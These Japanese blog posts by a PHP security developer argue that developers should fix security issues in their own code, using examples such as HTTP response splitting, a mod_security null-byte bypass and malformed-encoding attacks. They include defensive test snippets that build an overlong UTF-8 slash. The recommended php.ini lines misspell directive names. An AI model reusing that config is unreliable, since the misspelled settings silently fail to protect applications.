この例の場合、Django側にセキュリティホールがあるのは明らかだと思います。普通はTCP/IPレベルでのIPアドレスは信用できるからです。(TCPプロトコルの場合、アドレスを偽証していたら接続は確立できません。Webアプリまで接続されている="普通"はリモートIPは信頼できます。詳しくはTCP/IPを解説した書籍で接続を確立ハンドシェイクやソースルーティングを防ぐ方法などを参照してください。あまり"普通"では無い状況で信頼できない場合もあります。IPv6などの書籍を参考してください)
アプリケーション側の問題でなくても、この例のようにフレームワークやライブラリ側で対処されない場合も割と見かけます。フレームワーク/プラットフォームの問題なのに対応しない、というような場合は仕方がないので、アプリケーション側で対処するしかありません。PHPでもあります。誰もが無効にするmagic_quotes_gpcも一例です。
Http Response Splitting
Webアプリケーションの脆弱性である例を紹介します。
Http Response Splittingと呼ばれる脆弱性があります。JavaScriptインジェクション、キャッシュ汚染によるページ改ざん等が可能になる危険な脆弱性です。これの場合、非常に多くのフレームワーク、プロキシ、ブラウザ、Webアプリケーションが影響を受けました。
この攻撃の原理は非常に単純でHTTPヘッダを送信する際に、不正な改行を送信させ、不正なデータでリバースプロキシを含むプロキシやブラウザのキャッシュを汚染し半恒久的なページ改ざんを可能にする危険な問題でした。
RFCではHTTPヘッダは複数行にまたがっても構わない仕様となっており、フレームワークやライブラリはヘッダ送信関数などで「改行」文字を含んだ文字列を送信する事は仕様通りの動作でした。つまり、「不必要な改行」をチェックする責任はアプリケーション側にありました。
私もHttp Response Splittingと呼ばれる攻撃方法は研究者が発表するまで問題自体を認識していませんでした。しかし、全ての入力は「ホワイトリスト型」のバリデーション処理によりチェックされ、不正な入力はすべて排除(プログラムを停止)すべき、という方針に基づきアプリケーションを作っていました。結果的には私が作ったアプリは全くこの攻撃の影響を受けませんでした。
フレームワークやプロキシ開発者にとっては、Http Response Splitting問題の責任はいい加減なレスポンスを返すWebアプリ側に責任がある、と言いたいところですし、実際Webアプリの問題です。この問題の根本的な責任はアプリケーション側にある事は明らかですが、フレームワークやライブラリ側で対処されています。
ヘッダ送信関数で「改行」を認めなければ攻撃は行えません。アプリケーションの中には仕様通りの動作を期待していて、このような変更を行うと正常に動作しないアプリケーションもあるかも知れません。しかし、アプリケーションの問題であっても現実的な対策としてフレームワークやライブラリ側で改行文字をサニタイズして対処しています。
全く同じような例はメールのヘッダを設定する関数などでも行われています。現在のフレームワークやライブラリの多くは、Subject等を設定するパラメータの改行文字をサニタイズします。(開発者は「多くは」と言う部分で安心するのではなく、不安を感じなければなりません)
mod_securityの例
Webアプリケーション以外の例です。アプリケーション(mod_security)のセキュリティ問題ではない例を紹介します。現在では、この例の問題の原因の多くはWebアプリケーションではなく、もう少し下のフレームワークやライブラリのレベルの問題です。
Apache Web Serverで追加のセキュリティ対策や様々な制限を加える事ができるmod_securityというジュールに「設定された制限を回避できる」脆弱性がCVE登録されたことがあります。分かり易く書くと「守っているつもりが、守れていなかった」事が問題となった事例です。
この問題の原因はJava, Perl, Python, Ruby等で作成されたWebアプリケーションが、仕様ではC言語の文字列を送信すべきところをNull文字を含んだ文字列を使っていた事が原因です。(PHP4は仕様通り、PHP5もPHP5.2までは仕様通りにC言語の文字列を送信していました)
mod_securityの開発者からすれば仕様外のデータを送信してくるWebアプリ(フレームワークやライブラリ、言語を含む「全体」としてのWebアプリ)に脆弱性の原因があると考えるのは当然です。本来の原因はWebアプリ側にあることは明らかです。しかし、mod_securityはWebアプリから送られてきた「仕様外」のデータを受け入れるように変更することでこのセキュリティ問題に対処しました。
セキュリティ対策を行うべき部分 - 自分が作っている部分
これらの例を見ていくと混乱しませんか?
こう例を挙げていくと、「自分のコード(アプリ)を変えなくても、他のコンポーネントの責任にできるなら自分のコードには責任はない」と主張できるものは主張してしまって当然、と考える人もでてきます。本当は「自分のコードにも問題はあったが、とりあえず他の部分で対処されたのでセキュリティホールではなくなった」と考えるべきです。
例えば、mod_securityの脆弱性として報告されたCVEですが、本来はJava, Perl, Python, Ruby, PHP等で作られたWebアプリケーション(やそのフレームワーク、ライブラリ)側が問題に対処する方が好ましいです。mod_securityと似たような機能を持つ"セキュリティ"アプリケーションが"仕様"通りに作られて、また同じように「守っているつもりが守れてなかった」等という事態になる可能性があるからです。
Http Response Splittingの脆弱性も同様です。次々に作られいく新しいプロキシの中には"仕様通り"に実装され対策がとられていない物が出てくるかもしれません。次々に生まれてくるフレームワークやライブラリの中には現在広く使われてる物のように"サニタイズ"しない物もでてくるかも知れません。組み合わせによって、またHttp Response Splittingで攻撃できるWebシステムが出来上がる可能性があります。
外部のシステムがどうしようも無い脆弱性を持っているなら、その脆弱性が悪いと非難するだけでも十分です。例えば、初期のSafariのXHRにはSame Origin Policyが実装されていませんでした。クッキーやXHRのSame Origin Policyは外部システムであるブラウザですが、セキュリティを維持するための根幹となる機能です。このような部分に問題があったら、Webアプリ開発者は「自分の責任ではない」と言い切っても構わないでしょう。
しかし、すべての開発者が持つべき"基本的な心得"は「セキュリティ対策を行う部分=自分が作っている部分」であるべきです。
このブログを読んでいる方の多くはWebアプリの開発者だと思うのでWebアプリ限定しますが、Webシステムの中心にいるWebアプリの開発者が「セキュリティ問題の責任はフレームワークやDBMSなどにある」と考えていては安全なWebアプリの開発が難しくなるばかりです。
すべての開発者が「セキュリティ対策を行う部分=自分が作っている部分」を"基本的な心得"として実践してれば、今よりもっと安全なシステム作れると思いませんか?
これが私のバリデーションやセキュリティに対する基本的な考えです。
理解頂けるでしょうか?
3 コメント
と思う方も居ると思います。それは次のエントリ
に書くことにします。難しい問題です。
最初のDjangoの例ですが、
限定された(ホワイトリストの)IPからの接続しか許可しない場合、
以下のような方法が思いつきます。
1)ルーターで、接続を制限
2)OSで接続を制限(iptables)等
3)apacheで接続を制限
4)Djangoで接続を制限
位だと思いますが、
>>セキュリティ対策を行うべき部分 - 自分が作っている部分
と言う場合、小さい会社だと、全部自分で、管理することが多いのですが、1-4まで、全部、制限すると言う感じでしょうか?
自分がやる場合は、最も、下のベースでやるのが良いのかなって思っていて、1)ルーターで制限すると言う手を使いがちです。
ルーターの管理権限が無い場合は、2)のOSでやるってことを考えます。
1-4で、ホワイトリストのIPに制限する場合、どこで、制限しますか?
特定のURLだけ制限したい場合はApacheで制限しています。よく行っている追加の対策は認証が必要な管理ページへのアクセスはIPアドレスを利用してApacheレベルで制限しています。
DjangoでIPアドレスで制限したい場合もあると思います。その場合、私なら「アップグレード」か「パッチ」するのどちらかにすると思います。どのようなパッチが必要か分かりませんが、X-FORWARED-FORでREMOTE_ADDRを上書きしないようにするだけなので、恐らく1行パッチで動作を修正できると思います。
コメントを残す
セキュリティ専門家でも間違える!文字エンコーディング問題は難しいのか?
一見徳丸さんのブログは分かりやすいように思えますが、それは単純な実験により分かりやすいように見えるだけで複数の間違いがあります。
その間違いとは
意図の取り違い - 誤読
言語の仕様と実装の理解不足
HTTPやPHP仕様の理解不足
セキュリティ対策をすべき場所の理解不足
です。(※0)
...
徳丸さんは非常勤とは言え、国の出先機関の研究員であるし、その出先機関は職務放棄とも言える文書(「例えば、PHPを使用しない」と勧める文書)を公開している(いた?)のでしっかり反論しておく必用がありますね。IPAのあの文書は職務放棄と言える文書だと思っています。これについても後で意見を述べます。
意図の取り違い - 誤読
最初の間違いは私のブログのエントリ「何故かあたり前にならない文字エンコーディングバリデーション」に対する理解です。特にPHPユーザに対して文字エンコーディングバリデーションを実行して欲しいという思いからこのタイトルになっています。他の言語は他のブロガーが書くべきと思ってもいたからです。しかし、中身を読めば私の意図はシステム全般に対して文字エンコーディングを厳格に処理しなければならない、と主張している事は分かるはずです。
未だに間違いが多いHTTPプロトコルレベルでの文字エンコーディングの取り扱いや、データベースの文字エンコーディングでの取り扱いにも十分に注意するように書いています。データベースに至っては、デフォルトの文字エンコーディングがバイナリかそれに近いエンコーディングに設定されたサーバも少なくありません。これが如何に危険な事であるか、環境やコードによっては致命的であるかは、ここなどを参照してください。
アプリケーションを含め、システム全体が文字エンコーディングを厳格に取り扱わないと十分なセキュリティは確保できません。だから、アプリケーションプログラマもデータベースやXML処理系の様に文字エンコーディングを厳密に取り扱わなければならないと考えています。こう考える理由は、最後の「セキュリティ対策をすべき箇所」を読めば理解できると思います。
私のブログの読者層を考慮したエントリなのでWeb開発者を意識したエントリになっていますが、本当にお願いしたかったのは、すべての開発者(Webに限らず)に文字エンコーディングバリデーションを行う事です。多重セキュリティを実現すべきということです。現在では多重のセキュリティの必要性は説明する必用ないでしょう。
言語の仕様と実装の理解不足
徳丸さんは言語の仕様と実装を十分理解しないで、簡単な実験による結果のみでこのブログのエントリを「何故か"PHPだけは"あたり前にならない文字エンコーディングバリデーション」とのタイトルにすべきだろうと間違った評価をしています。
PHP 4.2からmbstringはデフォルトモジュールとなりました。デフォルトモジュールすべきと提案したのは私だったのでよく覚えています。mbstringにはインプットを自動的に内部文字エンコーディング変換する機能とアウトプットに指定した文字エンコーディングを自動変換する機能を持っています。現状の良くある"日本のPHP環境"ではPerlよりは随分マシな状況です。
徳丸さんのPerlのサンプルコードは以下のようなコードです。
#!/usr/bin/perl
use strict;
use utf8;
use Encode 'encode';
# 非最短形式の'/'を強引に作成
my $s = pack("U0C*", 0xC0, 0xAF);
printf "is_utf8=%d\n", utf8::is_utf8($s);
print encode('utf8', "$s\n");
print $s eq '/' ? "eq\n" : "ne\n";
print $s =~ m#/# ? "matched\n" : "not matched\n";
これと同等のPHP 5.2のサンプルコードは次のようなコードになります。
[yohgaki@dev tmp]$ cat -n tt.php
1 <?php
2 mb_internal_encoding('utf-8');
3 ini_set('mbstring.strict_detection','on');
4 $s = pack("C*", 0xC0, 0xAF);
5 echo $s = mb_convert_encoding($s, 'utf-8'), "\n";
6 echo $s == '/' ? "eq\n" : "ne\n";
7 mb_ereg('/', $s) ? print "matched\n" : print "not matched\n";
8 ?>
[yohgaki@dev tmp]$ php -v
PHP 5.2.10 (cli) (built: Jul 22 2009 23:50:59)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2009 Zend Technologies
[yohgaki@dev tmp]$ php tt.php
ne
not matched
徳丸さんが簡単な実験で明らかにしている"自動"(?)バリデーションはPHP4の頃、mbstringがデフォルトモジュールになる前、PHP3から出来ているのです。また、この動作は徳丸さんも納得できる仕様と指摘しているRuby 1.9の動作と同じです。かなり古いPHPで今と同じように動作していたかは怪しいですが、とにかく10年以上前の90年代からこのように動作していました。
PHPの場合はPerlよりもっと簡単で、コードを一切書き換えなくてもphp.iniの設定をするだけで"自動"バリデーションが行えます。これはPerlの仕様よりも「随分マシ」ですね。しかも、UTF-8以外にもEUC-JP、EUC-TWなどのエンコーディングでも動作します。
mbstring.input_encodig = AUTO
mbstring.internal_encoding = UTF-8
Perl 5.8> のエンコーディングチェック機能だけでは不十分であることは明らかです。Perlは関数や正規表現でUTF-8として扱うだけで壊れた文字列は"そのまま変数に保存"されます。PHPの場合、壊れた文字列の文字は指定された文字に"変換され保存されません"。Perlよりは「随分マシ」と言えます。Ruby 1.9場合は文字列として扱う関数などで例外が発生するのでPerl, PHP比べれば「随分マシ」です。しかし、十分に安全と言うには不十分しょう。Ruby 1.9の仕様をもって文字エンコーディングのバリデーションで十分とするのは、サニタイズで十分と主張することと同じ種類の危惧を感じます。これは次の項の解説を読むと理解できると思います。
ところで、tDiaryをRuby 1.9で運用している知人が居ます。いろいろ苦労しているようです。現実の世界ではRuby 1.8が当たり前でしょう。Ruby 1.8はPerlとあまり変わらない状況と言えるでしょう。セキュリティはリアリズムが必用だと思っています。
Ruby 1.9のようにエンコーディングに厳格なシステムでも任せきりにできないことは次に説明します。ちなみにPHP6はRuby 1.9と同じ様に様々な場所で不正なエンコーディングが検出されるようになります。
HTTPとPHP仕様の理解不足
先ほどの項目で
PHPの場合はPerlよりもっと簡単で、コードを一切書き換えなくてもphp.iniの設定をするだけで"自動"バリデーションが行えます。
と自分自身で書いていながら何故、文字エンコーディングのバリデーションが必用なのか?と疑問に思った方も居ると思います。PHPはファイルアップロードを行う場合にフォームに
enctype="multipart/form-data"
を指定すると入力エンコーディングに自動変換は動作しない仕様になっています。enctypeが違っても普通のフィールドも送信できます。もし文字エンコーディング変換を行うなら、これらのフィールドには明示的な文字エンコーディング変換が必用です。つまり、明示的なバリデーションが必用になります。
ファイルアップロードを行わなくても通常のGETやPOSTでも%エンコーディングでバイナリも送信可能です。バイナリを処理したい場合は多くは無いはずですが、バイナリ送信もできるのですから送りたい時もあるでしょう。そういった場合にも、Ruby 1.9やPHPの自動エンコーディングチェックは困った機能になってしまいます。両者とも"自動"のチェックは無効にする方法があります。
徳丸さんも$_SERVERを無差別に文字エンコーディングをチェックの問題点には気づかれたようです。サーバの環境変数も$_SERVERに含まれ問題になる事があります。HTTPは所謂ASCIIくらいしか考慮に入れてなかった仕組みなのでユーザエージェントには7bitASCIIのプリンタブルな文字しか設定すべきではありませんが、世の中にはISO-8859-*とかUTF-8とかを使っているブラウザもあるかも知れません。不要な要素がチェックに引っかかる可能性を指摘しているにも関わらず、任意でバイナリを送れる事実に気が付かないのは理解に苦しみます。(※1)
enctype="multipart/form-data"が指定された場合に文字エンコーディング変換が動作しないことはPHPの仕様ですが、文字エンコーディングバリデーションはシステムに任せきりで大丈夫、という姿勢ではセキュアプログラミングを教える場合には問題ありと言わざるを得ません。
こういう教え方をすると「SQLインジェクション対策にプリペアードクエリ」とだけ教えられたプログラマが間違えることと同じ間違いをしてしまう可能性があります。未検証のパラメータからテーブル名やフィールド名を指定したプリペアードクエリを実行したり、WHERE句の部分(特に多いのがIN句)にパラメータを書き込んでプリペアードクエリを実行するなど、SQLインジェクションの原理を知っている人には当たり前でも「プリペアードクエリを使えば大丈夫」と盲目的に教えられたプログラマなら仕方ありません。
徳丸さんのブログを読んだ人には「Perl 5.8, Ruby 1.9以上なら何もしなくて大丈夫」と盲目的に信じてしまった人もいるのではないでしょうか? 安全性の優劣でなく、脆弱さの優劣を競っても無意味ですが実際にはPerlの方がPHPより脆弱であるにも関わらず、真反対であると理解した人が多いのではないでしょうか?
セキュリティ対策をすべき場所の理解不足
次の図はWebアプリケーションが動作するコンポーネントです。赤い×印が不正な文字エンコーディングを利用した攻撃が可能となる箇所です。白い線は入出力の可能性がある部分です。

フレームワークを利用していてもフレームワークの仕組みを意図的にバイパスしたり、意図的でなくてもバイパスしてしまう事は良くある事です。
この図の中で、文字エンコーディングをバリデーションする為に一番相応しいコンポーネントはどれでしょうか?まさか、Webブラウザなんて人は居ないですよね?ブラウザでは無理でしょう。エンコーディングがちょっとおかしいだけでページを表示しないブラウザなんて使ってもらえません。サーバ側のWebアプリ周辺のコンポーネントは頑張れば、何とかなるかもしれないですがブラウザだけは制御しようが無いです。
最も確実にチェックできるのは、中心に居るWebアプリです。
フレームワーク? フレームワークも頑張ればそこそこ行けるでしょう。開発環境である以上、フェールセーフには出来てもフールセーフには出来ません。(バカバカしいコード対策は無理)
CMSでも設定によっては簡単にバイパスできる物もありますが、どうしてもフールセーフフレームワークが欲しい方はCMSなどを最小限のカスタマイズで利用した方が良いと思います。
まとめ
徳丸さんのブログを見てびっくりすると同時に失望しました。徳丸さんがWebの基礎的な技術仕様や言語の仕様、実際の現場での利用方法などを理解していないで評論していることが分かったからです。PHPconのビジネスデイでは私も同じように思っていた「良い事」を沢山言われていたのに残念です。
徳丸さん風に書くとすれば、このエントリは「何故か"セキュリティ専門家"でさえ理解してない文字エンコーディング問題」とすべき、といったところでしょうか。
IPA文書の問題
どなたが書いたのか知りませんが、IPAの文書に「例えば、PHPを使わない」というセキュリティ対策を例示している文書があります。文字エンコーディングベースのXSS対策については全くダメなアプリばかりが現状のRubyやPerlについても「例えば、Ruby, Perlも使わない」と書くつもりなのでしょうか?
個人ブログでどの言語は良く無い、使うべきでない、使うに値しない、と書いても何の問題ありません。しかし、IPAは公的要素が強い独立行政法人です。そこの文書でセキュリティ対策として「例えば、○○は使わない」と書いて良いものでしょうか?
例のIPAの文書は職務放棄の文書だと言っても良いでしょう。Perl、Ruby、Python、PHPも作る人が作れば安全なアプリは作れるのです。
PHPにCVEが多かった理由はデフォルトモジュールとバンドルしていた物が比較的多かった事と共有サーバでsuExecなのどの仕組みを利用せず、Apacheモジュールを共有していたホスティング会社が多かった為、本来はフェールセーフ機能であるセーフモードのすり抜けがCVE登録された事にあります。PHPプロジェクトのセキュリティに対する意識の問題もありました。随分マシにはなりましたが、不満は沢山あります。しかし、これはIPAにとって「使わない」と勧める理由にはなり得ません。
PHPアプリに初心者が作るようなセキュリティホールが沢山あったのは、本当に初心者が沢山居たうえ、大量のアプリを作ったからです。また、PHPが簡易フレームワークの役割をしており時期的に本格的フレームワークを利用したアプリが少なかった事も理由の一つです。
IPAの職務に詳しくはありませんが、初心者がセキュリティホールを作るようなソフトウェアの利用を勧めない事が職務なら、真っ先にWindowsXPやFlash, PDFの利用を止めるように勧めるべきでしょう。
IPAの職務とはユーザや開発者がコンピュータをより安全に利用する為の方法を啓蒙する事ではないのでしょうか?プロダクトの利用を中止する勧める、しかも間違った認識に基づき「例えば、PHPを利用しない」などと文書に記載するのは職務放棄ではないでしょうか?
私の言っている事の説明が必要なのであればいつでも呼んで下さい :)
おまけ
以前、大阪?東京?でお会いした時、徳丸さんは私のWebアプリセキュリティ対策入門に書いていたSQLインジェクション対策が気に入らなかったらしく、全てのパラメータを文字列として扱いエスケープする方法ではなく、
(int)$number
のようなキャストであるべきと言われていました。「技術者なら気持ちが悪い」といった感想をお持ちのようで「技術者としてのセンスが悪い」といった旨の事を言われていたようです。
それから、全て文字列にすると遅くなる、などと言う理由も挙げられてました。しかし、速度を求めるならプリペアードクエリを使うべきです。クエリ文字列をダイナミックに生成する必要などありません。
何故間違っているか簡単に解説したのですが理解されていたのかどうか分かりませんでした。間違いを指摘されても、簡単に「はい、そうですね」とは言えない状況なので深追いはしませんでしたけど、どうなんでしょう?
キャストする方法は間違っている場合も多く、注意しなければ問題の原因になります。しっかりしたDB管理者ならDBの整数を言語の整数型等でキャストする危険性を十分理解していると思います。簡単な例を挙げます。DBのID型などは符号無し64整数であるのに、言語は符号付き32整数であることが多いです。64bitプラットフォームでも符号付きであることが多いです。つまり、キャストは意味的に正しくないことが多いのです。このような方法は最初に教えるべきではなく、基礎を理解した上でどちらでもよいTips程度に薦めることが妥当だと思います。このような問題はDB管理者で無くても普通のCプログラマなら知ってて当たり前でしょう。C/C++でプログラムはされた事はない?DBには任意精度型もあるので普通の言語でキャストしても思い通りならない事を前提とすべきです。
データベースアクセスの抽象化ライブラリなどでプリペアードクエリをサポートしないDBでも、プレイスホルダが使えるようになっています。メタデータを参照してキャストしていると思いますか?まだ疑問に思える方は各言語のDBアクセスの抽象化ライブラリの実装などを参照すると良いです。
そもそも自分でコンパイラなどを実装した事がある人であれば解る話です。SQLパーサを普通に実装すればパラメータはリテラルであれば良いことにするでしょう。リテラルには文字列、整数、任意精度整数、日付などが含まれると定義するはずです。SQLは方言の固まりでもあるので実装によっては使えない物もあるかも知れませんが、広く使われているDBMSの場合は問題ありません。
技術的知識を背景に最適な対策は何であるか?合理的でセキュアな対策は何であるか?選択する事はそれほど難しくないと思うのですが....
あまり身の無い議論は不毛なのでやる事やりましょう!
(※2)この記事を書くためにRFC1869を検索したのですが、最初に見つかった文書がHTTPヘッダと文書のエンコーディングが一致していない事には思わず苦笑いしてしまいました。こういうページがあるからブラウザのデフォルト設定が文字エンコーディングを自動認識するようになってしまうのです。自動認識を有効にすると文字エンコーディングベースのXSSにより脆弱になるのですけどね。
追記:「PHPで手っ取り早く対策するには?」と聞かれたので書いておきます。エントリ中にも書いていますが、UTF-8の場合は
mbstrign.strict_detetion = on
mbstring.http_input = auto
mbstring.internal_encoding = utf-8
mbstring.http_output = pass
mbstring.encoding_translation = On
とします。(strict_detectionを入れ忘れていたので追加しています)
php.iniや.htaccess、httpd.confでphp.iniの値を変更します。php.iniで変更した場合、多少自由度が落ちます。バイナリで受け取りたい場合、formを作ってenctype="multipart/form-data"にしなければなりません。(apacheを使っているなら.htaccessやhttpd.confでオーバーライドも可能です)
基本的に入力データをサニタイズしているのと同じです。個人的には
mbstrign.strict_detetion = on
mbstring.http_input = pass
mbstring.internal_encoding = utf-8
mbstring.http_output = pass
mbstring.encoding_translation = On
として、すべてのパラメータをしっかりバリデーションし不正な入力はログして、プログラムを停止するようにして欲しいと考えています。
ユーザエージェントなどを表示することは比較的よくあると思いますが、$_SERVER,$_ENV,$_FILESは一切エンコーディング変換されません。注意してください。
他にも考えなければならないケースがいろいろあります。exifなどにも不正な文字エンコーディングが含まれていて攻撃される可能性があります。id3などに含まれる情報も同じです。アップロードされたファイルの中身を読む(CSVなど)場合もバリデーションが必用です。
トータルでセキュリティを考えるなら、文字エンコーディングのバリデーションは自分で行うことを基本とした方がより安全なWebアプリを作れるようになります。exif, id3等でのJavaScriptインジェクション、SQLインジェクションにも当然注意してください。
追記2: バグっぽいと勘違いしたのはPHPのじゃなくてスクリプトのバグでした。バグ以外に古いほうのスクリプトを貼っていたようなので直しました。実行結果は変わりません。
追記3: mbstring.encoding_translation = On(デフォルトoff)を記述する事を忘れてました。これが無いと変換されません。
5 コメント
PHPやDBのセキュリティについてはその通りりであるし、徳丸さんの書き方(お互いの論点のずれ)にも問題はあるが、今回のあなたの誤読はもっと問題。
IPAの記事に関しては、あのゴミに値する内容をまともに受け取る馬鹿はいないだろう。
真面目に批判せず無視でOK。
よいわけないでしょう。
都合が悪くなると「名誉毀損で訴訟をおこすぞ」
などとコメディアンのようなことを言い出す方が
このようななんの根拠もない誹謗をなさるというのはとても奇妙なことですね。
いかなる角度から見ても「職務放棄」ではない
事柄にたいして「職務放棄」だなどと言いがかりを仰るのはどうしたわけでしょうか
誹謗・中傷を好む方ほどそういう事を言いだす傾向にあるように思えます。
IPAの業務に特定のプロダクトを使わないように勧めることが含まれている、とするのは面白い見解ですが理由も無しでは説得力も無し。
最近、またスパムも復活してきたしモデレートを復活させないとかな。
参考までにIPAの事業方針
ソフトウェアは私たちの生活に広く普及し、便利で豊かな社会を実現しています。より信頼性の高いソフトウェアを効率よく開発できるようにするため、IPAは社会に大きな影響のある領域に集中して、ソフトウェア開発の改善に取り組んでいます。
相互運用性を確保するためのオープンな標準や、特定ベンダーの独占でなく、みんなで共同して作り上げるオープンソースソフトウェアは、コスト面だけでなく、さまざまな利点を持っています。IPAはオープンソフトウェアの利用促進に向けて、さまざまな活動をおこなっています。
http://www.ipa.go.jp/about/ipajoho/hosin.html
IPAの中の人だとしたらミッションくらいは読みましょうね。
IBMやMicrosoftはPHPをサポートしていますけど彼らの営業妨害になるのでは?とか考えられないのでしょうかね?普通の法人と違うシマンテックやマカフィーとかと違う独立行政法人なのに意識が低すぎるとは思わないのですかね? IPAの情報には良いものも多いのですが、中には首をかしげる物も沢山あります。上記のようなコメントを書く方が中の人だからかな?先ほどの方はもしかして例の文書の著者ですか?
http://slashdot.jp/comments.pl?sid=309361&cid=914004
http://blog.ohgaki.net/a_ma_sa_sa_a_ia_ca_sa_rhtmleosa_ia_a_iea#comments
たしかこれは言いがかりでしたよね。それで注意したような気が。
あまり気にしていないのですっかり忘れていましたが、ひどいコメントがあったような気がします。匿名掲示板にあるような感違いコメントがあったのであのように書き、「削除したら」と助言もいただいたから問題のコメントは削除したような気がします。同じ方からの投稿なのかな?
自分の責任範囲のセキュリティ上の問題ではないと主張したくなる気持ちなどは十分理解できるのですが、八つ当たりされても困ります。
コメントを残す
9/12 はオープンラボ岡山の日
9/12はオープンラボ岡山の日です。オープンラボとは勉強会の名前です。
今回のフマートフォン特集で私は「知っててあたり前 - モバイルセキュリティ」をテーマに話します。携帯開発をしている人にはあたり前の話が多いと思いますが、それ以外の小ネタも混ぜるつもりです。
参加登録
http://openlab.okaya.ma/wiki.cgi?page=%CA%D9%B6%AF%B2%F1%2F%C2%E8003%B2%F3
Twitter ハッシュタグ #OLO
Androidの開発環境を作っとかないと...
1 コメント
コメントを残す
何故かあたり前にならない文字エンコーディングバリデーション
私が4年前(2005年)に「Webアプリセキュリティ対策入門」を執筆していた時には、既に壊れた文字エンコーディングなどの不正な文字エンコーディングを利用したJavaScriptインジェクションやSQLインジェクション攻撃は比較的広く知られていました。この問題は当時のスラッシュドットジャパンでも取り上げられていました。/.で取り上げられたので、そこら中のWebサイトとユーザが被害に合うのでは?とヒヤヒヤしたので良く覚えています。
不正な文字エンコーディングを利用した攻撃は、文字エンコーディングを厳格に取り扱い、文字エンコーディングをバリデーションすれば無くなります。これを怠ると、システムのどこで問題が発生するか予想できなくなります。つまり、いい加減に文字エンコーディングを取り扱うと安全なシステムは作れないのです。
...
参考:本当は怖い文字コードの話
http://gihyo.jp/admin/serial/01/charcode/0006
このよう事は簡単に理解できると思っていたので、近い将来(1年以内)に文字エンコーディングのバリデーションはあたり前になる、と考えていました。2005年には一部のPHPプログラマは文字エンコーディングのバリデーションに文字エンコーディング変換関数を利用していました。2006年初めには文字エンコーディングバリデーション専用のmb_check_encoding関数も追加されました。
「Webアプリセキュリティ対策入門」では、壊れた文字エンコーディングに対する対策はバリデーションで必要なチェックの一つ、として取り扱いました。近い将来あたり前になって攻撃できなくなる脆弱性に一つの項目を与える必要も無いこと、出版時点では周り中が脆弱なアプリケーションであること、を理由に一つの独立した項目にしませんでした。(しかし、現在でも脆弱なWebアプリばかり...)
2005年当時、近い将来この問題は解決されると信じていました。しかし、残念ながらこの予想は全く外れました。JavaScriptインジェクションの脆弱性が2000年に注意喚起されて数年経っても、多くのWeb開発者や運営者は全く危険性を理解せず、対策も取らなかった事、2005年当時でも(文字エンコーディングベースの攻撃を除けば)完全に防げるSQLインジェクションもあたり前のように対策が取られていなかった事と同様である、と予測しておくべきでした。
Railsの開発者は現在になっても、その危険性を指摘されても理解出来かなったようです。
参考:RubyOnRailsのXSS脆弱性がTwitterとBasecampとぼくの魂を殺した
http://jp.techcrunch.com/archives/20090903rubyonrails-xss-vulnerability-claims-twitter-basecamp-and-my-confidence/
Railsの開発者だけを責めるのは不当でしょう。私はPHPセキュリティレスポンスチームもこの問題に関する理解がRailsの開発者と同程度である事も知っています。PHP 4.4.9がリリースされる際に、文字エンコーディングベースの攻撃に脆弱になるため、バックポートが必要な複数のパッチの適用を提案したのですが、理解されませんでした。mbstringがデフォルトモジュールとなっていない事もセキュリティに対するインパクトを理解していないからです。
Perlについては小飼 弾氏が今年になって、文字エンコーディング変換を利用した文字エンコーディングバリデーションを提案しているので、日本のPerl開発者は一部の(先進的?)PHP開発者と同程度の対策は取るようになると思います。
参考:perl - EnodeでXSSを防ぐ
http://blog.livedoor.jp/dankogai/archives/51184112.html
Ruby、Pythonについても、何方か有名な方が文字エンコーディング変換を利用したバリデーションをする方法をブログに書くべきです。
(RoRの脆弱性に関連してRuby1.9では安全、と解説されていますが、それはRuby1.9は不正な文字エンコーディングを受け付けないからです。個人的には明示的にバリデーションコードで検出する方が良いと考えています。クライアントからの入力は文字列のみでなくイメージ等のバイナリも含まれるからです。)
私はこの問題についてブログ、書籍、雑誌、Webマガジン、セミナーなどで話をしていますが、残念ながらPHPユーザにも十分声が届いていないのが現状です。
ブログで一斉に取り上げて、いい加減文字エンコーディング問題を無くしませんか?
文字エンコーディングを利用した攻撃を防ぐ基本
・全ての入力文字列の文字エンコーディングをバリデーションする
(e.g. PHPならmb_check_encoding関数、他の言語ならエンコーディング変換を利用する等。不正なエンコーディングを検出したら"必ず"プログラムの実行を停止。)
・文字エンコーディングを厳格に取り扱う
(e.g. HTTPヘッダで文字エンコーディングを指定。DB等では必ずAPIを利用して文字エンコーディングを指定し、DBのAPIでエスケープ、など)
・データベースなどで「バイナリ」に近いエンコーディングは絶対に利用しない
(e.g. ASCIIなど)
最近では少なくなったと思いますが、HTTPヘッダで文字エンコーディングを指定すべき、との指摘は2000年にCERTがXSSの脆弱性への注意喚起を行った時から言われています。未だに大手サイトで散見される問題です。(セキュリティホールとはなり得ない部分ですがGoogleでさえHTTPヘッダで文字エンコーディングを指定していないケースがあります)
MySQLでは"SET NAMES"、PostgreSQLでは"SET client_encoding TO"(新しいPostgreSQLでは"SET NAMES"も利用可能)は「アプリケーションから使ってはならない文」です。APIから文字エンコーディング指定しないと、同じくAPIであるエスケープ関数が文字エンコーディングを考慮したエスケープが出来ません。(SJISのMySQL環境では致命的)
データベースにおけるこの問題は2005年末に明らかになり、2006年春頃には問題を解決するAPIが提供されました。日本ではSJISを利用しているケース多く、影響が非常に大きいので"SET NAMES"を利用したエンコーディング指定は直ぐに無くなる、と思っていたのですが、これも予想に反した状態になっています。
「Webアプリセキュリティ対策入門」にはこれらの事に簡単に触れているので、読んだ方であれば文字エンコーディングを利用した攻撃に脆弱なアプリケーションを作る事は無いと思いますが、売れてないないですからね... アマゾンのレビューが酷いせいかな?とにかく書く事だけに一生懸命でしたから、執筆時点は...
手前味噌ですがWebセキュリティ、特にプログラミングやセキュアなコーディングの心得については「Webアプリセキュリティ対策入門」は割と良くまとまっていると思います。前半部分は開発者でない方でも読めて脆弱性の危険性だけは理解できるように書き、後半は具体的な対策をPHPを用いて紹介しています。
久しぶりにアマゾンのレビュー見ましたが、ほんと酷い評価(苦笑 でもセキュリティ標準を読んだ事がある、せめて名前や内容を正しく解説できるWeb開発者はあたり前にいるとは思えません。誤字・脱字は自分でも見つけましたが、こういう本の評価に重要なのでしょうか?内容が正しいかどうかは技術者であれば判断できると思います。もしかしてコード監査で酷い目に合わせてしまった方なのかな?(汗
(重版していないので今買っても誤字・脱字は直ってません。悪しからずご了承ください)
JavaScriptの実行を制限するNoScript拡張などを利用する以外に、ユーザとして文字エンコーディングを利用した攻撃のリスクを軽減する方法があります。ブラウザの文字エンコーディングの自動認識を「オフ」にすれば、かなりリスクを軽減できます。
たいていデフォルトで有効になっているので必ず「オフ」にしましょう。
